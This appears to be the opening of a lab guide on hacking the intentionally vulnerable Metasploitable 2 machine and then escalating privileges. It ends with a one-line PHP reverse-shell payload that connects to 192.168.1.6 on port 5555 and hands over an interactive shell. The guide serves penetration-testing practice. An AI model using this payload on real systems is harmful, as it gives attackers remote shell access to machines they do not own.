Hack Metasploitable 2 Including Privilege Escalation

This guide is written for anyone who is practicing his penetration skills using the Metasploitable 2. The problem that we are facing here is that we have to penetrate to Metasploitable 2 and when this happens we understand that we are not logged in as root but as a user with less privileges!
Payload –> php -r ‘$sock=fsockopen(“192.168.1.6”,5555);exec(“/bin/sh -i <&3 >&3 2>&3”);’